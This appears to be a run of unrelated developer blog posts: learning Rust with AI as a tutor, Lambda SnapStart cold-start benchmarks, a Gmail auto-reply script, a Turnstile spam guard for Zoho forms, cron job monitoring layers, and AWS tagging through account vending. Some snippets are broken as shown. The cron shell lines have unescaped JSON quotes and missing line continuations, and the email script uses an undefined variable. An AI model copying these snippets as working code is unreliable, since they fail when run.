Do not train the IA, let the AI train you

I recently found myself in a situation I hadn’t experienced in about three years: having the opportunity and the time to learn a new language from scratch.

The company I work for has several developers with extensive experience in Rust, and the internal community is growing in a very positive way, creating an ideal environment for learning and collaboration.

However, on a personal level, I felt a bit “rusty” when it came to sitting down to study. I had been working for the same client for over three years using technologies like React and Ruby on Rails within a massive codebase. When you work on a project of that magnitude, the primary focus is gaining ownership as quickly as possible; only then do you get the chance to innovate with new technologies, if the architecture allows.

As I was saying, this led me to a crossroads: I didn’t know where to begin. Everything felt like an uphill battle.

I started by scouring all the documentation I could find. I reached the official Rust Book, but I still felt a sense of cognitive overload. I’ve always been a “learning by doing” type of person, so a lightbulb went off: “Why don’t I ask the AI to bootstrap a project for me and learn as it generates the code?” WRONG.

That was not only a mistake but also the most passive approach I could have taken. Having an AI generate code for you while learning might help you understand project scaffolding or basic syntax, but it stops there. It lacks the “muscle memory” required for deep learning.

Luckily, I realized this quickly. My “Plan B” was to return to what worked when I started in web development: video tutorials. However, I discarded that idea because high-quality Udemy courses were around $60, and most YouTube content felt deprecated or outdated.

Then I thought of a different approach… What if, instead of watching the AI generate a project for me, I built the project increment by increment, using the AI as a real-time mentor?

The main challenge was avoiding the “autopilot” trap. To truly engage, I had to disable GitHub Copilot’s inline suggestions. I needed to write every line myself.

Since the AI already had the context of the initial project it had bootstrapped, I asked it to guide me step-by-step through a from-scratch implementation. Immediately, I noticed a shift: I was coding more intentionally. Most importantly, I had a “tutor” available 24/7 to answer foundational queries with full context of my specific implementation.

This shift in perspective transformed everything. By moving AI from the role of “creator” to that of “mentor,” I regained control of my learning curve. We often focus on how to train models or how to get them to give us the “right” answer, but we forget that their greatest value lies in their ability to explain the reasons behind things.

If you’re starting a new technical career, don’t let AI do all the heavy lifting. Don’t train AI to do your job; let AI train you to be a better developer.

Serverless applications on AWS with Lambda using Java 25, API Gateway and Aurora DSQL – Part 3 Introducing Lambda SnapStart

Introduction

In part 1, we introduced our sample application. In part 2, we measured the performance (cold and warm start times) of the Lambda function without any optimizations. We observed quite a large cold start time, especially if we use the Hibernate ORM framework. Using this framework also significantly increases the artifact size. In this article, we’ll introduce AWS Lambda SnapStart as one of the approaches to reducing the cold start times of the Lambda function. We’ll also provide the cold and warm start measurements of the sample application when the SnapStart is enabled for the Lambda function.

AWS Lambda SnapStart

As we saw in part 2, without any optimizations, Lambda performance measurements showed quite high values, especially for the cold start times. The article Understanding the Lambda execution environment lifecycle provides a good overview of this topic. Lambda SnapStart is one of the optimization approaches to reduce the cold start times.

Lambda SnapStart can provide a start time of a Lambda function of less than one second. SnapStart simplifies the development of responsive and scalable applications without provisioning resources or implementing complex performance optimizations.

The largest portion of startup latency (often referred to as cold start time) is the time Lambda spends initializing the function. This includes loading the function code, starting the runtime, and initializing the function code. With SnapStart, Lambda initializes our function when we publish a function version. Lambda takes a Firecracker microVM snapshot of the memory and disk state of the initialized execution environment. Then it encrypts the snapshot and intelligently caches it to optimize retrieval latency.

To ensure reliability, Lambda manages multiple copies of each snapshot. Lambda automatically patches snapshots and their copies with the latest runtime and security updates. When we invoke the function version, Lambda restores a new execution environment from the cached snapshot. This happens instead of initializing it from scratch, which improves startup latency. More information can be found in the article Reducing Java cold starts on AWS Lambda functions with SnapStart. You can find more information about the Lambda SnapStart in the article Under the hood: how AWS Lambda SnapStart optimizes function startup latency. I have published the whole series about Lambda SnapStart for Java applications.

Measurements of cold and warm start times of the Lambda function of the sample application with JDBC and Hikari connection pool

We’ll reuse the sample application from part 1 and do exactly the same performance measurement as we described in part 2. We’ll measure the performance of the GetProductByIdJava25WithDSQL Lambda function mapped to the GetProductByIdHandler. We will trigger it by invoking curl -H “X-API-Key: a6ZbcDefQW12BN56WEDQ25” https://{$API_GATEWAY_URL}/prod/products/1 .

One important aspect is that we instantiate Jackson ObjectMapper and ProductDao directly in the static initializer block of the GetProductByIdHandler Lambda function:

public class GetProductByIdHandler
        implements RequestHandler<APIGatewayProxyRequestEvent, APIGatewayProxyResponseEvent> {

private static final ObjectMapper objectMapper = new ObjectMapper();
private static final ProductDao productDao= new ProductDao();
...

When you create an ObjectMapper for the first time, it initializes a lot of other classes. As a part of this process, it instantiates a lot of singletons. It takes, depending on the hardware, more than a hundred milliseconds. If you create the second ObjectMapper in the same Java process, it takes only 1 millisecond because all the singletons are already there.  By moving the ObjectMapper instantiation to the static initializer block of the Lambda function, we decrease the cold start time. The reason for that is that this initialized object becomes a part of the SnapStart snapshot.

The same is true for ProductDao, especially taking into account that we directly preinitialize DsqlDataSourceConfig there:

public class ProductDao {

private static final DsqlDataSourceConfig dsqlDataSourceConfig=new DsqlDataSourceConfig();

....

This, in turn, loads a lot of classes and creates the Hikari Data Source. Moreover, it creates the Hikari connection pool as well. The part of the process is to search for the available JDBC driver. In our case, the PostgreSQL database driver will be found and loaded. Then the initialization of the database connection to Aurora DSQL happens, and this connection is added to the connection pool. We configured the pool size to be 1, because this is enough for the single-thread Lambda function. That’s why exactly one database connection will be created. With that, the database connection is ready to be reused. All of these become a part of the SnapStart snapshot:

public class DsqlDataSourceConfig {

private static final String AURORA_DSQL_CLUSTER_ENDPOINT = System.getenv("AURORA_DSQL_CLUSTER_ENDPOINT");

private static final String JDBC_URL = "jdbc:aws-dsql:postgresql://"
    + AURORA_DSQL_CLUSTER_ENDPOINT
     + ":5432/postgres?sslmode=verify-full&sslfactory=org.postgresql.ssl.DefaultJavaSSLFactory"
 + "&token-duration-secs=900";


private static HikariDataSource hds;
static {    
   var config = new HikariConfig();
   config.setUsername("admin");
   config.setJdbcUrl(JDBC_URL);
   config.setMaxLifetime(1500 * 1000); // pool connection expiration time in milli seconds, default 30
    config.setMaximumPoolSize(1); // default is 10
    hds = new HikariDataSource(config);
}

Also, please make sure that we have enabled Lambda SnapStart in template.yaml as shown below:

Globals:
  Function:
    Handler: 
    SnapStart:
      ApplyOn: PublishedVersions 
    ....
    Environment:
      Variables:
        JAVA_TOOL_OPTIONS: "-XX:+TieredCompilation -XX:TieredStopAtLevel=1"

Please note that I measured only the performance of the Lambda function. On top of that comes also the latency of the trigger – in our case, the API Gateway REST API.

Please also note the effect of the Lambda SnapStart snapshot tiered cache. This means that in the case of SnapStart activation, we get the largest cold starts during the first measurements. Due to the tiered cache, the subsequent cold starts will have lower values. For more details about the technical implementation of AWS SnapStart and its tiered cache, I refer you to the presentation by Mike Danilov: “AWS Lambda Under the Hood”. Please also read the already mentioned article Under the hood: how AWS Lambda SnapStart optimizes function startup latency. Therefore, I will present the Lambda performance measurements with SnapStart being activated for 2 cases:

  • For all approximately 100 cold start times (labelled as all in the table)
  • For the last approximately 70 (labelled as last 70 in the table). With that, the effect of the snapshot tiered cache becomes visible to you. Depending on how often the respective Lambda function is updated and thus some layers of the cache are invalidated, a Lambda function can experience thousands or tens of thousands of cold starts during its life cycle, so that the first longer-lasting cold starts no longer carry much weight.

To show the impact of the SnapStart, we’ll also present the Lambda performance measurements without SnapStart being activated from part 2.

I did the measurements with java:25.v19 Amazon Corretto version, and the deployed artifact size of this application was 42.333 KB.

Cold (c) and warm (w) start time with -XX:+TieredCompilation -XX:TieredStopAtLevel=1 compilation in ms:

Approach c p50 c p75 c p90 c p99 c p99.9 c max w p50 w p75 w p90 w p99 w p99.9 w max
No SnapStart enabled 2336 2453 2827 3026 3131 3132 4.84 5.29 5.73 8.88 195.38 531
SnapStart enabled but no priming applied, all 970 1058 1705 1726 1734 1735 4.92 5.33 5.86 9.84 198.52 1134
SnapStart enabled but no priming applied, last 70 901 960 1061 1212 1212 1212 4.84 5.29 5.77 9.54 196.94 719

Measurements of cold and warm start times of the Lambda function of the sample application with Hibernate and Hikari connection pool

The same as mentioned above holds true for the sample application from part 1, using Hibernate instead of JDBC. We will measure the performance of our GetProductByIdJava25WithHibernateAndDSQL Lambda function mapped to the GetProductByIdHandler. We will trigger it by invoking curl -H “X-API-Key: a6ZbcDefQW12BN56WEHADQ25” https://{$API_GATEWAY_URL}/prod/products/1.

The most important difference is that in the ProductDao, we create the Hibernate Session Factory

public class ProductDao {
  private static final SessionFactory sessionFactory=   HibernateUtils.getSessionFactory();
....

In HibernateUtils, we set the same Hikari connection pool properties as in the example above. We then pass those properties to the Hibernate configuration along with the classes annotated as entities. The final part is to build a Hibernate session factory.

public final class HibernateUtils {

private static final String AURORA_DSQL_CLUSTER_ENDPOINT = System.getenv("AURORA_DSQL_CLUSTER_ENDPOINT");

private static final String JDBC_URL = "jdbc:aws-dsql:postgresql://"
   + AURORA_DSQL_CLUSTER_ENDPOINT
   + ":5432/postgres?sslmode=verify-full&sslfactory=org.postgresql.ssl.DefaultJavaSSLFactory"
   + "&token-duration-secs=900";

private static SessionFactory sessionFactory= getHibernateSessionFactory();

private HibernateUtils () {}

private static SessionFactory getHibernateSessionFactory () {           
   var settings = new Properties();
   settings.put("jakarta.persistence.jdbc.user", "admin");
   settings.put("jakarta.persistence.jdbc.url", JDBC_URL);
   settings.put("hibernate.connection.pool_size", 1);
   settings.put("hibernate.hikari.maxLifetime", 1500 * 1000);
   return new Configuration()
     .setProperties(settings)
     .addAnnotatedClass(Product.class)
     .buildSessionFactory();    
}

public static SessionFactory getSessionFactory() {
     return sessionFactory;
}
...

All these steps involve a lot of class loading and preinitialization: Hikari Data Source, Hibernate Configuration, and Session Factory. Moreover, it creates the Hikari connection pool as well. The part of the process is to search for the available JDBC driver. In our case, the PostgreSQL database driver will be found and loaded. Then the initialization of the database connection to Aurora DSQL happens, and this connection is added to the connection pool. We configured the pool size to be 1, because this is enough for the single-thread Lambda function. That’s why exactly one database connection will be created. With that, the database connection is ready to be reused. All of these become a part of the SnapStart snapshot.

I did the measurements with java:25.v19 Amazon Corretto version, and the deployed artifact size of this application was 42.333 KB.

Cold (c) and warm (w) start time with -XX:+TieredCompilation -XX:TieredStopAtLevel=1 compilation in ms:

Approach c p50 c p75 c p90 c p99 c p99.9 c max w p50 w p75 w p90 w p99 w p99.9 w max
No SnapStart enabled 6243 6625 7056 8480 8651 8658 5.46 5.96 6.50 9.77 200.10 707
SnapStart enabled but no priming applied, all 1277 1360 3050 3103 3200 3201 5.50 6.01 6.45 10.16 196.94 2349
SnapStart enabled but no priming applied, last 70 1258 1320 1437 1634 1634 1634 5.42 5.91 6.40 10.08 195.94 1093

Conclusion

In this article of the series, we introduced AWS Lambda SnapStart as one of the approaches to reduce the cold start times of the Lambda function. We observed that by enabling the SnapStart on the Lambda function, the cold start time goes down significantly for both sample applications. It’s especially noticeable when looking at the “last 70” measurements with the snapshot tiered cache effect. The biggest impact of just enabling the SnapStart is on the application using the Hibernate. But still, the cold start remains quite high. In the next article, we’ll explore the first Lambda SnapStart priming technique. I call it the database (in our case, Aurora DSQL) request priming. The goal of applying priming is to preload and preinitialize as much as possible in the SnapStart snapshot during the deployment phase. With that, all those things will already be available directly after the SnapStart snapshot restore.

Please also watch out for another series where I use a NoSQL serverless Amazon DynamoDB database instead of Aurora DSQL to do the same Lambda performance measurements.

If you like my content, please follow me on GitHub and give my repositories a star!

Please also check out my website for more technical content and upcoming public speaking activities.

Built a tool to auto-reply to emails. Now I reply to spam faster than real people.

Built a tool to auto reply to emails. Now I reply to spam faster than real people.

Was getting 30 cold emails a day minimum. Recruiters, sales pitches, people asking if I want to buy their course. Started replying manually with “not interested” but that ate 20 minutes every morning.

Thought hey I can automate this.

Version 1 was embarrassingly simple

Wrote a Python script that checked my Gmail every 5 minutes and sent “Thanks but not interested” to anything with keywords like “opportunity” or “partnership” in the subject.

import imaplib
import smtplib
from email.mime.text import MIMEText

imap = imaplib.IMAP4_SSL('imap.gmail.com')
imap.login('[email protected]', 'password')
imap.select('INBOX')

status, messages = imap.search(None, 'UNSEEN SUBJECT "opportunity"')
for num in messages[0].split():
    msg = MIMEText('Thanks but not interested')
    msg['Subject'] = 'Re: ...'
    smtp = smtplib.SMTP('smtp.gmail.com', 587)
    smtp.sendmail('[email protected]', sender, msg.as_string())

Ran for 2 days.

Then I auto declined a job I actually wanted. Oops.

Tried adding a whitelist

Figured I needed to NOT reply to:

  • Domains I’ve emailed before
  • Anyone in my contacts
  • Emails with “interview” or “position” in subject

That helped until I replied to a vendor my boss was negotiating with. That conversation was awkward.

Current version pattern matches the body

Now it parses email content looking for:

  • “I came across your profile”
  • “quick call to discuss”
  • Links to calendly or meeting schedulers
  • Generic “reaching out” phrases

If 3+ patterns match and sender not in whitelist, auto sends “not currently looking for new opportunities”.

spam_patterns = [
    "came across your profile",
    "quick call",
    "calendly.com",
    "reaching out",
    "opportunity that might interest"
]

matches = sum(1 for pattern in spam_patterns if pattern in body.lower())
if matches >= 3 and sender not in whitelist:
    send_auto_reply(sender)

Running for 3 weeks now. Handled 180 cold emails. Only 1 false positive where I replied to a conference organizer I should have responded to manually.

Still kinda weird that my script is more polite to strangers than I am.

Adding Cloudflare Turnstile to Zoho Form HTML Exports

Zoho Forms lets you export your form as a standalone HTML package — but that exported form posts directly to Zoho’s servers with no spam protection. This guide walks you through adding Cloudflare Turnstile using a single drop-in script, with optional server-side verification via a Cloudflare Worker.

What we’re building

Browser → Turnstile challenge → token issued
       → form submitted → Cloudflare Worker
       → token verified server-side
       → payload forwarded to Zoho

The library (zoho-turnstile.js) works in two modes:

  • Client-only — blocks submissions with no token. Stops browser-based bots. No backend needed.
  • Full verification — routes submissions through a Cloudflare Worker that verifies the token before anything reaches Zoho. Stops everything.

⚠️ Client-only mode cannot stop direct POST attacks. For production forms, full verification is strongly recommended.

Prerequisites

  • A Cloudflare account (free tier is fine)
  • A Zoho Form exported as HTML (index.html, css/form.css, js/validation.js)
  • A domain registered under Cloudflare (for full verification)

Step 1 — Get a Cloudflare Turnstile Site Key

  1. Go to dash.cloudflare.com → Turnstile → Add Site
  2. Enter your domain
  3. Choose widget type Managed
  4. Copy the Site Key and Secret Key — you’ll need both

Step 2 — Add zoho-turnstile.js to your form export

Drop zoho-turnstile.js into your form folder alongside validation.js:

contact_form/
├── index.html
├── zoho-turnstile.js   ← new
├── css/
│   └── form.css
└── js/
    └── validation.js

Step 3 — Initialise the library

Add the script to index.html inside <head>:

<script src="js/validation.js"></script>
<script src="zoho-turnstile.js"></script>   <!-- add this -->

Then initialise it before </body>, after your existing Zoho init vars:

<script>
  // Your existing Zoho vars — already in your export, don't duplicate
  var zf_MandArray = ["SingleLine", "Email", "MultiLine"];
  var zf_FieldArray = ["SingleLine", "Email", "MultiLine"];
  var isSalesIQIntegrationEnabled = false;
  var salesIQFieldsArray = [];

  // Turnstile init
  ZohoTurnstile.init({
    siteKey: 'YOUR_SITE_KEY'
  });
</script>

That’s it for client-only mode. The widget will appear above your submit button automatically.

Step 4 (optional) — Add server-side verification via Cloudflare Worker

Skip this if you’re using client-only mode. If you’re going to production, don’t skip this.

4a — Create the Worker

  1. In the Cloudflare dashboard → Workers & Pages → Create → Start with Hello World
  2. Name it zoho-contact-proxy and click Deploy
  3. Click Edit Code, delete the default code, paste the Worker code below, click Deploy
const TURNSTILE_VERIFY_URL = 'https://challenges.cloudflare.com/turnstile/v0/siteverify';

export default {
  async fetch(request, env) {
    if (request.method !== 'POST') {
      return new Response('Method not allowed', { status: 405 });
    }

    const referer = request.headers.get('Referer') || '/';

    let formData;
    try {
      formData = await request.formData();
    } catch {
      return errorRedirect(referer, 'invalid_request');
    }

    const token = formData.get('cf-turnstile-response');
    if (!token) return errorRedirect(referer, 'missing_token');

    const verified = await verifyTurnstile(
      token,
      request.headers.get('CF-Connecting-IP'),
      env.TURNSTILE_SECRET_KEY
    );

    if (!verified) return errorRedirect(referer, 'token_invalid');

    formData.delete('cf-turnstile-response');

    try {
      const zohoRes = await fetch(env.ZOHO_FORM_URL, {
        method: 'POST',
        body: formData,
        redirect: 'follow',
      });
      if (!zohoRes.ok) return errorRedirect(referer, 'submission_failed');
    } catch {
      return errorRedirect(referer, 'submission_failed');
    }

    const successUrl = new URL(referer);
    successUrl.searchParams.set('zf_status', 'success');
    return Response.redirect(successUrl.toString(), 302);
  }
};

async function verifyTurnstile(token, ip, secret) {
  try {
    const res = await fetch(TURNSTILE_VERIFY_URL, {
      method: 'POST',
      headers: { 'Content-Type': 'application/json' },
      body: JSON.stringify({ secret, response: token, remoteip: ip }),
    });
    const data = await res.json();
    return data.success === true;
  } catch {
    return false;
  }
}

function errorRedirect(referer, reason) {
  const url = new URL(referer);
  url.searchParams.set('zf_status', 'error');
  url.searchParams.set('zf_error', reason);
  return Response.redirect(url.toString(), 302);
}

4b — Add environment variables

In the Worker → Settings → Variables and Secrets:

Name Type Value
ZOHO_FORM_URL Text Your Zoho form htmlRecords/submit URL
TURNSTILE_SECRET_KEY Secret Your Turnstile Secret Key

⚠️ Always add TURNSTILE_SECRET_KEY as type Secret, never Text. Secrets are encrypted and never visible after saving.

4c — Point the form at the Worker

In index.html, change the form action from the Zoho URL to your Worker URL:

<form
  action="https://zoho-contact-proxy.yourname.workers.dev"
  method="POST"
  enctype="multipart/form-data"
  ...
>

4d — Pass verifyUrl to the init call

ZohoTurnstile.init({
  siteKey:   'YOUR_SITE_KEY',
  verifyUrl: 'https://zoho-contact-proxy.yourname.workers.dev'
});

Options reference

Option Type Required Default Description
siteKey string ✅ — Your Cloudflare Turnstile Site Key
verifyUrl string — null Worker base URL. Enables full server-side verification
theme string — 'light' 'light'
size string — 'normal' 'normal'
errorMessage string — 'Please complete the security check...' Shown when submission is blocked
containerId string — null Custom element ID to render the widget into
onSuccess function — null Fired when Turnstile issues a token. Receives the token as the first argument
onError function — null Fired when Turnstile encounters an error
onExpire function — null Fired when an issued token expires (tokens are valid for 5 minutes)

Methods

ZohoTurnstile.init(options)
Initialises the library. Injects the widget and patches the Zoho submit handler. Call once after the DOM is ready.

ZohoTurnstile.reset()
Resets the widget and issues a new challenge. Call this after a failed submission.

ZohoTurnstile.getToken()
Returns the current token string, or empty string if not yet issued. Useful for debugging.

Testing

Cloudflare provides special site keys for development:

Behaviour Site Key
Always passes 1x00000000000000000000AA
Always blocks 2x00000000000000000000AB
Forces interactive challenge 3x00000000000000000000FF

Use 3x00000000000000000000FF during development — it forces the checkbox interaction so you’re not silently pre-cleared on your own IP.

Verify the token is being issued — after solving the challenge, open DevTools → Elements and look inside the form for:

<input type="hidden" name="cf-turnstile-response" value="eyJ...">

Or run in the console:

ZohoTurnstile.getToken() // should return a non-empty string

Verify server-side is working — submit the form and check the redirect URL. You should land back on the page with ?zf_status=success.

Troubleshooting

Widget doesn’t appear
Check the browser console for [ZohoTurnstile] warnings. Confirm your domain is registered in the Turnstile dashboard and that zoho-turnstile.js loads before the init call.

Form submits without solving the challenge
You’re being silently pre-cleared — Cloudflare automatically passes visitors it already trusts. This is expected. Use test key 3x00000000000000000000FF to force an interactive challenge.

?zf_status=error&zf_error=token_invalid
The Worker received the submission but Cloudflare rejected the token. Confirm TURNSTILE_SECRET_KEY in the Worker matches the Secret Key (not Site Key) from the dashboard. Tokens also expire after 5 minutes — have the user refresh and resubmit.

?zf_status=error&zf_error=submission_failed
Token verified but the Zoho POST failed. Confirm ZOHO_FORM_URL is the full htmlRecords/submit URL from your form export. Check Worker logs under Workers → your worker → Logs.

How to Separate Delivery Failures from Execution Failures in Cron Jobs

TL;DR

When your cron job reports “failed,” it might have executed perfectly — only the notification delivery (Slack, email, webhook) failed. Monitoring execution and delivery as separate layers prevents false alarms and unnecessary re-runs.

The Problem: 9 “Broken” Jobs That Were Fine

I run 43 cron jobs on OpenClaw for content generation, analytics, and infrastructure tasks. One day, 9 jobs reported “Message failed” errors. Meanwhile, all 14 content generation jobs succeeded.

build-in-public    | Message failed | 1 consecutive
larry-trend-hunter | Message failed | 14 consecutive  ← 3 weeks!
app-metrics        | Message failed | 7 consecutive

My first instinct: “9 jobs are broken, fix them.” But when I investigated, every job had completed its actual work. Only the Slack notification step was failing.

Why This Happens

A typical cron job flow:

[Execute job] → [Generate output] → [Send notification] → [Report status]

“Message failed” occurs at step 3. But most cron schedulers report the final step’s result as the job’s status. So a delivery failure becomes a “job failure.”

This conflation causes two problems:

  1. False alarms: You investigate jobs that are working fine
  2. Missed fixes: The real issue (delivery infrastructure) gets buried under “job failure” noise

The Fix: Three-Layer Monitoring

Layer 1: Execution (Did the job run?)

RESULT=$(run_job 2>&1)
EXIT_CODE=$?
echo "{"job":"$JOB_NAME","exit_code":$EXIT_CODE,"ts":"$(date -u +%FT%TZ)"}" 
  >> /var/log/cron-execution.jsonl

Layer 2: Artifact (Did it produce the expected output?)

EXPECTED="/workspace/output/${TODAY}/result.json"
if [ -f "$EXPECTED" ]; then
  ARTIFACT_STATUS="success"
else
  ARTIFACT_STATUS="missing"
fi

Layer 3: Delivery (Did the notification reach its destination?)

HTTP_CODE=$(curl -s -o /dev/null -w "%{http_code}" 
  -X POST "$SLACK_WEBHOOK" 
  -H "Content-Type: application/json" 
  -d "{"text":"$MSG"}")

if [ "$HTTP_CODE" != "200" ]; then
  # Log delivery failure separately — do NOT mark the job as failed
  echo "{"job":"$JOB_NAME","delivery":"failed","http":$HTTP_CODE}" 
    >> /var/log/cron-delivery.jsonl
fi

Alert Routing by Layer

Layer On Failure Severity
Layer 1 (Execution) Alert immediately, consider re-run 🔴 High
Layer 2 (Artifact) Alert, inspect logs 🟡 Medium
Layer 3 (Delivery) Retry delivery only. Do NOT re-run the job 🟢 Low

Results After Separation

Metric Before After
“Failed” jobs per day 9 0 (execution failures)
False alarms per day 9 0
Delivery issues detected Unknown (mixed in) 9 (isolated as Slack layer problem)

The trend-hunter job with 14 consecutive “errors” had been executing correctly every single time. A structural issue in the Slack delivery layer had gone unnoticed for 3 weeks because it was classified as a “job failure.”

Key Takeaways

Lesson Detail
Decompose “failure” Monitor execution, artifact, and delivery as independent layers
Delivery failure ≠ execution failure Your job may have succeeded even when no notification arrives
Look at the pattern of consecutive errors 14 consecutive identical errors point to infrastructure, not the job
Define re-run criteria Only re-run on Layer 1 failure. Re-running for Layer 3 failure wastes resources

The Secret to Near 100% AWS Tagging Compliance? People Shouldn’t Know You’re Doing It.

Every enterprise with more than a handful of AWS accounts eventually has the same reckoning. Someone in finance asks which team owns the spend in AWS account 846241037459. Someone in security wants to know whether the resources in a particular VPC are production or development. Someone in operations needs to route an incident to the right application owner at 2am. And in every case, the answer depends on tags…. tags tags tags, never ending tags – tags that probably do not exist, may or may not be accurate, and almost certainly aren’t consistent across business divisions.

This is the tagging problem, and most organisations try to solve it the wrong way. They write a tagging policy. They distribute it in a wiki that nobody bookmarks. They ask teams to please tag their resources correctly. And then they act surprised when compliance sits at sub 20% and the data is useless for any meaningful reporting or incident management.

The Provider > Consumer model solves this differently. Instead of asking consumers to tag their resources, the Provider delivers mandatory tags as part of the account vending pipeline (before the consumer ever touches the environment). The tags arrive with the account. The resources inherit them. The consumer can’t remove them, can’t modify them, and in most cases doesn’t even realise they provided the data that populated them!

This isn’t a tagging strategy. It’s a tagging system. And the distinction matters more than most platform teams appreciate.

Why Voluntary Tagging Always Fails at Scale

Let’s be honest about this. Voluntary tagging policies have a 100% failure rate in large enterprises. Not because people are negligent, but because the model is fundamentally broken.

A developer provisioning an EC2 instance is thinking about their application. They’re thinking about instance types, security groups, and whether their deployment fettling works. They are not thinking about which cost centre code maps to their division’s financial reporting hierarchy. They don’t know that finance needs a specific format for the Cost Code tag (they certainly don’t know that the value needs to match an entry in SAP that they’ve never seen and don’t have access to).

So what happens? They leave the tag blank. Or they guess. Or TBD/D goes in. Or they put in something that looks right but doesn’t match the source of truth. And now you have a resource in production with a cost code that doesn’t resolve to anything in the financial system, which means it falls into an “unallocated” bucket, which means someone in FinOps spends three hours every month trying to reconcile it.

Multiply this across thousands of resources, dozens of teams, and many business divisions, and you have a tagging estate that’s technically present but functionally useless. You’ve achieved the appearance of governance without any of the substance.

The root cause isn’t laziness. It’s that you’ve placed the burden of organisational metadata on the people least equipped to provide it.

A developer shouldn’t need to understand the enterprise financial hierarchy to deploy a Lambda function. That’s not their job. It’s yours (as a Provider).

Mandatory Tags Are a Platform Concern, Not a Consumer Concern

This is the shift in thinking that makes the Provider > Consumer model work for tagging. Mandatory tags, the tags that drive financial reporting, security ownership, compliance classification, and business criticallity, are platform-level concerns. They exist to serve the organisation, not the individual workload. And because they serve the organisation, the organisation (through the Provider) should own them end to end.

In the Provider > Consumer model, mandatory tags are opinionated.

The platform team decides which tags exist, what their keys are called, what format the values must take, and where the source of truth lives. These aren’t suggestions. They’re not configurable. They’re the platform’s DNA, and they flow through every account, every VPC, and every resource that gets provisioned and this works because there is workload segregation at the account level.

The Provider owns the tag taxonomy. The Provider owns the enforcement mechanism. The Provider owns the pipeline that applies them. The consumer benefits from the data they generate, through cost reports, ownership dashboards, and incident routing (without ever having to maintain the tags themselves).

This is what opinionated platform design looks like when applied to metadata. You don’t ask consumers what tags they want. You tell them what tags they’ll get. And you make those tags so deeply embedded in the provisioning process that removing them would require dismantling the pipeline itself.

Pre-Account Vending: Where the Data Actually Comes From

Here’s where it gets elegant. The data that populates mandatory tags doesn’t come from a tagging form. It comes from the account request process, typically a well-designed ServiceNow form that the consumer fills out when they request a new AWS account pattern.

Think about what a consumer provides when they request an account. They specify which business division they belong to. They identify the application or workload the account is for. They nominate a technical owner and a security contact. They provide (or their request is enriched with) a cost centre code from the enterprise financial system. They indicate whether this is a production or non-production workload.

Every single one of those data points maps directly to a mandatory tag. Business Division becomes the Business Division tag. The application name maps to Application Name tag. The cost centre maps to Cost Code. The technical contact maps to Technical Owner. The consumer isn’t filling out a tagging form. They’re filling out an account request form. But the platform team has designed that form so that every field either directly populates a tag or feeds a lookup that resolves to a tag value.

The consumer doesn’t know they’re providing mandatory tagging data. They think they’re answering reasonable questions about their workload. And they are, but those questions just happen to be the exact inputs the tagging pipeline needs.

This is deliberate. The best tagging strategies are invisible to the people being tagged. If your consumers are aware they’re doing tagging, you’ve already introduced friction. And friction is where compliance goes to die.

The Vending Pipeline: Tags as Infrastructure

Once the account request is approved and the required data is captured, the Provider’s account vending pipeline takes over. This is where tags stop being metadata and start being infrastructure.

The vending pipeline, whether it’s built on AWS Control Tower Account Factory, Terraform, or a custom solution, provisions the account with mandatory tags already applied. The tags are written at the account level as part of the same automation that creates the account, configures the security baseline, deploys the VPC, and wires up connectivity.

There’s no separate tagging step. There’s no “apply tags after provisioning” task that someone might forget or defer. The tags are part of the account’s identity from the moment it exists. By the time the consumer gets access to their new environment, the mandatory tags are already there, applied, validated, and from their perspective, immutable.

At the AWS account level, these tags propagate through AWS Organisations. Tag policies enforce the expected format and values. Service Control Policies can prevent the creation of resources that don’t carry the required tags. And because the Provider controls the Terraform modules that consumers use to provision resources within their accounts, those modules can inject mandatory tags automatically, the consumer’s resource inherits the account’s mandatory tags without any action on their part.

This is the inheritance model, and it works because of a design decision the Provider made long before any tagging conversation happened, accounts are segregated by environment and by workload. One account per workload per environment. This means the mandatory tags that describe ownership, cost allocation, and classification are consistent for every resource in the account because every resource in the account belongs to the same workload in the same environment. There’s no ambiguity. There’s no “this EC2 instance belongs to Team A but that RDS instance belongs to Team B.” The account boundary is the ownership boundary, and the tags reflect that.

Why Mandatory Tags Must Be Immutable to Consumers

This is where most tagging implementations go sideways.

If consumers can modify mandatory tags, they will. Not maliciously just inevitably. Someone will “fix” a cost code they think is wrong. Someone will update a technical owner field when a team member leaves, using a personal email instead of a distribution list. Someone will delete a tag they don’t recognise because it looks like clutter.

Every one of these well-intentioned changes breaks something downstream. The cost code “fix” means the resource no longer maps to a valid entry in the financial system. The email change means the incident routing automation sends alerts to a personal inbox that nobody checks after hours. The deleted tag means a compliance report now has a gap that triggers an audit finding.

Mandatory tags are not the consumer’s concern to maintain because they are not the consumer’s data. They are organisational data that happens to be attached to the consumer’s resources. The Provider maintains them. The Provider updates them. The Provider ensures they stay consistent with their sources of truth.

In practice, this means the tags are applied and managed through the Provider’s pipeline, through Terraform state, through AWS Organisations tag policies, through account-level automation that runs on a schedule to detect and remediate drift. If a tag gets changed, the pipeline puts it back. If a tag gets deleted, the pipeline restores it. The consumer’s Terraform code doesn’t manage these tags. The consumer’s IAM permissions don’t grant write access to them at the organisational level.

This isn’t about trust issues. It’s about system design. You don’t let application code modify the VPC’s route table. You don’t let developers reconfigure the transit gateway. And you don’t let consumers edit the tags that drive your organisation’s financial reporting, security ownership, and compliance posture. These are platform concerns, managed by the platform, enforced by the platform.

What Happens When a Consumer Needs a Tag Changed?

Tags like CostCode or TechnicalOwner do change over time. Teams reorganise. Cost centres get restructured. People move to different roles. The fact that mandatory tags are immutable to consumers doesn’t mean they’re permanent, instead it means changes flow through the right channels.

When a consumer needs a mandatory tag updated, they raise a request. This might be a ServiceNow ticket, or a conversation with the Platform team. The Provider validates the new value against the source of truth (does this cost code actually exist in SAP? Is this email address a valid distribution list in the directory?), then updates the tag through the pipeline, and the change propagates to the account and its resources.

The process is intentionally deliberate (not slow, deliberate). Mandatory tags affect reporting, billing allocation, security ownership, and compliance classification across the organisation. A change to the ‘BusinessDivision’ tag on an account ripples through every cost report, every ownership dashboard, and every compliance audit that references that account. That change should be validated, approved, and applied through automation, not made ad hoc in the AWS console by someone who needed to update a spreadsheet.

In practice, mandatory tag change requests are rare. Cost codes don’t change monthly. business division structures don’t shift weekly. Technical ownership transfers happen, but not frequently enough to create operational burden. The channel exists for when it’s needed, but the design assumes stability, because mandatory tags represent organisational facts that are, by definition, slow-moving.

Consumer Tags: Where the Provider Steps Back

Not all tags are mandatory. Consumers obviously have their own tagging needs, operational tags, automation tags, application-specific metadata that the platform team has no opinion about. And that’s exactly right. The Provider should have no opinion about them.

